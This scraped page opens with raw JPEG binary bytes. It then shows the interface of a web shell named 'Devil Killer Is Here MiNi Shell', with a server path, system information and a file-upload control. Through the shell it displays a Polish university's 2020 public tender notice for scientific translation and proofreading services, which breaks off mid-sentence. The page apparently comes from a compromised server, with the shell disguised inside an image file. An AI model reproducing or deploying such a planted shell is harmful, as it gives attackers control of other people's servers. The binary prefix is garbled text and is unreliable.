JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20200525/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20200525/543370-N-2020.html

 <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 543370-N-2020 z dnia 2020-05-25 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Uniwersytet Kazimierza Wielkiego</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Sukcesywne usługi w zakresie specjalistycznych tłumaczeń pisemnych dla Uniwersytetu Kazimierza Wielkiego w Bydgoszczy (projekt RID)</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Usługi</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Nie</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu"></span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Nie</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl"></span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej – mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy"></span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Uniwersytet Kazimierza Wielkiego</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">34005769500000</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">Chodkiewicza</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">30</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">85-064</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Bydgoszcz</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">kujawsko-pomorskie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">523 419 100</span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">zampub@ukw.edu.pl</span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">523 608 206</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url">www.ukw.edu.pl</span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej"></span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia">www.ukw.edu.pl</span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Inny (proszę określić):</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny">Państwowa Szkoła Wyższa</span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia"></span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja"></span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Nie</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny"></span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres"></span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Sukcesywne usługi w zakresie specjalistycznych tłumaczeń pisemnych dla Uniwersytetu Kazimierza Wielkiego w Bydgoszczy (projekt RID)</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny">Numer sprawy: UKW/DZP-281-U-49/2020</span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Usługi</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Tak</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski">wszystkich części</span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy">11</span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">Przedmiotem zamówienia są sukcesywne usługi w zakresie specjalistycznych tłumaczeń pisemnych dla Uniwersytetu Kazimierza Wielkiego w Bydgoszczy (projekt RID), szczegółowo określone w zał. nr 2 Formularz cenowy, Rozdział. III istotne postanowienia umowy oraz rozdział IV opis przedmiotu zamówienia.</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">79530000-8</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc"></span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc"></span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów – szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Nie</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst"></span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach"></span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach"></span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia"></span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia"></span> <br /> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow">Zamawiający nie stawia szczegółowych wymagań odnośnie powyższego warunku. Zamawiający dokona oceny spełniania warunku udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu, stanowiącego załącznik nr 3 do SIWZ.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow">Zamawiający nie stawia szczegółowych wymagań odnośnie powyższego warunku. Zamawiający dokona oceny spełniania warunku udziału w postępowaniu w tym zakresie na podstawie oświadczenia o spełnianiu warunków udziału w postępowaniu, stanowiącego załącznik nr 3 do SIWZ.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">Zamawiający uzna warunek za spełniony jeżeli Wykonawca dysponuje co najmniej jedną osobą, która:W zakresie tłumaczeń pisemnych:Dla Części nr 1 (BioRID2)a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) lub posiada znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej wg Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE (Certificate of Proficiency In English) lub składa oświadczenie o znajomości języka angielskiego na poziomie C2 oraz;b) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczeń pisemnych z języka polskiego na język angielski tekstu naukowego z zakresu mikrobiologii, hydrobiologii lub fykologii, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z Impact Factor (IF) powyżej 2.Dla Części 2 (BioRID4) a)	posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) oraz;b)	posiada wykształcenie wyższe w zakresie nauk biologicznych oraz ; c) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonała co najmniej 2 tłumaczenia pisemne tekstu naukowego z języka polskiego na język angielski z zakresu ekologii akarofauny lub entomofauny, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z listy MNiSW części A.Dla Części 3 (BioRID5)a)	posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) lub posiada znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej wg Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE (Certificate of Proficiency In English) lub składa oświadczenie o znajomości języka angielskiego na poziomie C2 oraz;b)	posiada wykształcenie wyższe w zakresie nauk biologicznych oraz;c) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2 tłumaczenia pisemne tekstu naukowego z języka polskiego na język angielski z zakresu dyscypliny biologia (o łącznej licznie nie mniej niż 30 stron), opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach o Impact Factor (IF) powyżej 2. Dla Części 4 (BioRID6&8)a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) lub posiada znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej wg Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE (Certificate of Proficiency In English) lub składa oświadczenie o znajomości języka angielskiego na poziomie C2 oraz;b) posiada wykształcenie wyższe w zakresie nauk biologicznych oraz;c) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 3 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu biotechnologii, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z listy MNiSW części A o Impact Factor (IF) powyżej 3. Dla Części 5 (BioRID10)a) posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) lub posiada znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej wg Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE (Certificate of Proficiency In English) lub składa oświadczenie o znajomości języka angielskiego na poziomie C2 oraz;b) posiada wykształcenie wyższe w zakresie nauk biologicznych oraz;c) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej 2 tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego zakresu hydrobiologii, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z listy MNiSW części A o Impact Factor (IF) powyżej 2. Dla Części 6 (BioRID12)a)	posiada tytuł magistra filologii angielskiej lub posiada tytuł magistra lingwistyki stosowanej (gdzie językiem wiodący był język angielski) lub posiada znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej wg Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE (Certificate of Proficiency In English) lub składa oświadczenie o znajomości języka angielskiego na poziomie C2 oraz;b)	posiada wykształcenie wyższe w zakresie nauk biologicznych lub chemii oraz;c) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonała co najmniej 5 tłumaczeń pisemnych tekstu naukowego z języka polskiego na język angielski z zakresu pogranicza nauk biologicznych i chemicznych, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z listy MNiSW o Impact Factor (IF) powyżej 2. W zakresie korekt językowych:Dla Części 7 (BioRID1, BioRID3, BioRID11) a) jest native speakerem*) posiadającym wykształcenie wyższe z zakresu nauk biologicznych (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim, oraz;b) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 5 korekt językowych tekstu naukowego z zakresu genetyki w języku angielskim, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach z listy MNiSW części A o Impact Factor (IF) powyżej 2.Dla Części 8 (BioRID5, BioRID10)a)	jest native speakerem*) posiadającym wykształcenie wyższe z zakresu nauk biologicznych (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim oraz;b)	wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2 korekty językowe w języku angielskim lub tłumaczenia z języka polskiego na język angielski tekstu naukowego (łącznie nie mniej niż 30 stron) z zakresu dyscypliny biologia, opublikowanych w języku angielskim w formie elektronicznej lub wydrukowanej w czasopismach naukowych o Impact Factor (IF) powyżej 2. Dla Części 9 (BioRID7)a)	jest native speakerem*) posiadającym wykształcenie wyższe z zakresu nauk biologicznych (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim oraz:b)	wykonała w okresie ostatnich pięciu trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 5 korekt językowych w języku angielskim tekstu naukowego z zakresu biologii, opublikowanych w formie elektronicznej lub wydrukowanych w czasopismach naukowych, o Impact Factor (IF) powyżej 2. Dla Części 10 (BioRID12)a)	jest native speakerem*) posiadającym wykształcenie wyższe z zakresu nauk biologicznych lub chemicznych (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim oraz:b)	wykonała w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 5 korekt językowych w języku angielskim lub tłumaczenia tekstu naukowego (o łącznej liczbie nie niej niż 20 stron) z zakresu biologii lub chemii, opublikowanych w formie elektronicznej lub wydrukowanej w czasopismach naukowych, w czasopismach o Impact Factor (IF) powyżej 2. Dla Części 11 (BioRID 9) a) jest native speakerem*) posiadającym wykształcenie wyższe z zakresu nauk biologicznych, specjalność biologia molekularna (stopień magistra lub jego odpowiednik) uzyskany w kraju anglojęzycznym, gdzie studia prowadzone były w języku angielskim, oraz;b) wykonała w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 5 korekt językowych tekstu naukowego z zakresu biochemii, biologii molekularnej lub biologii komórki w języku angielskim, opublikowanych w 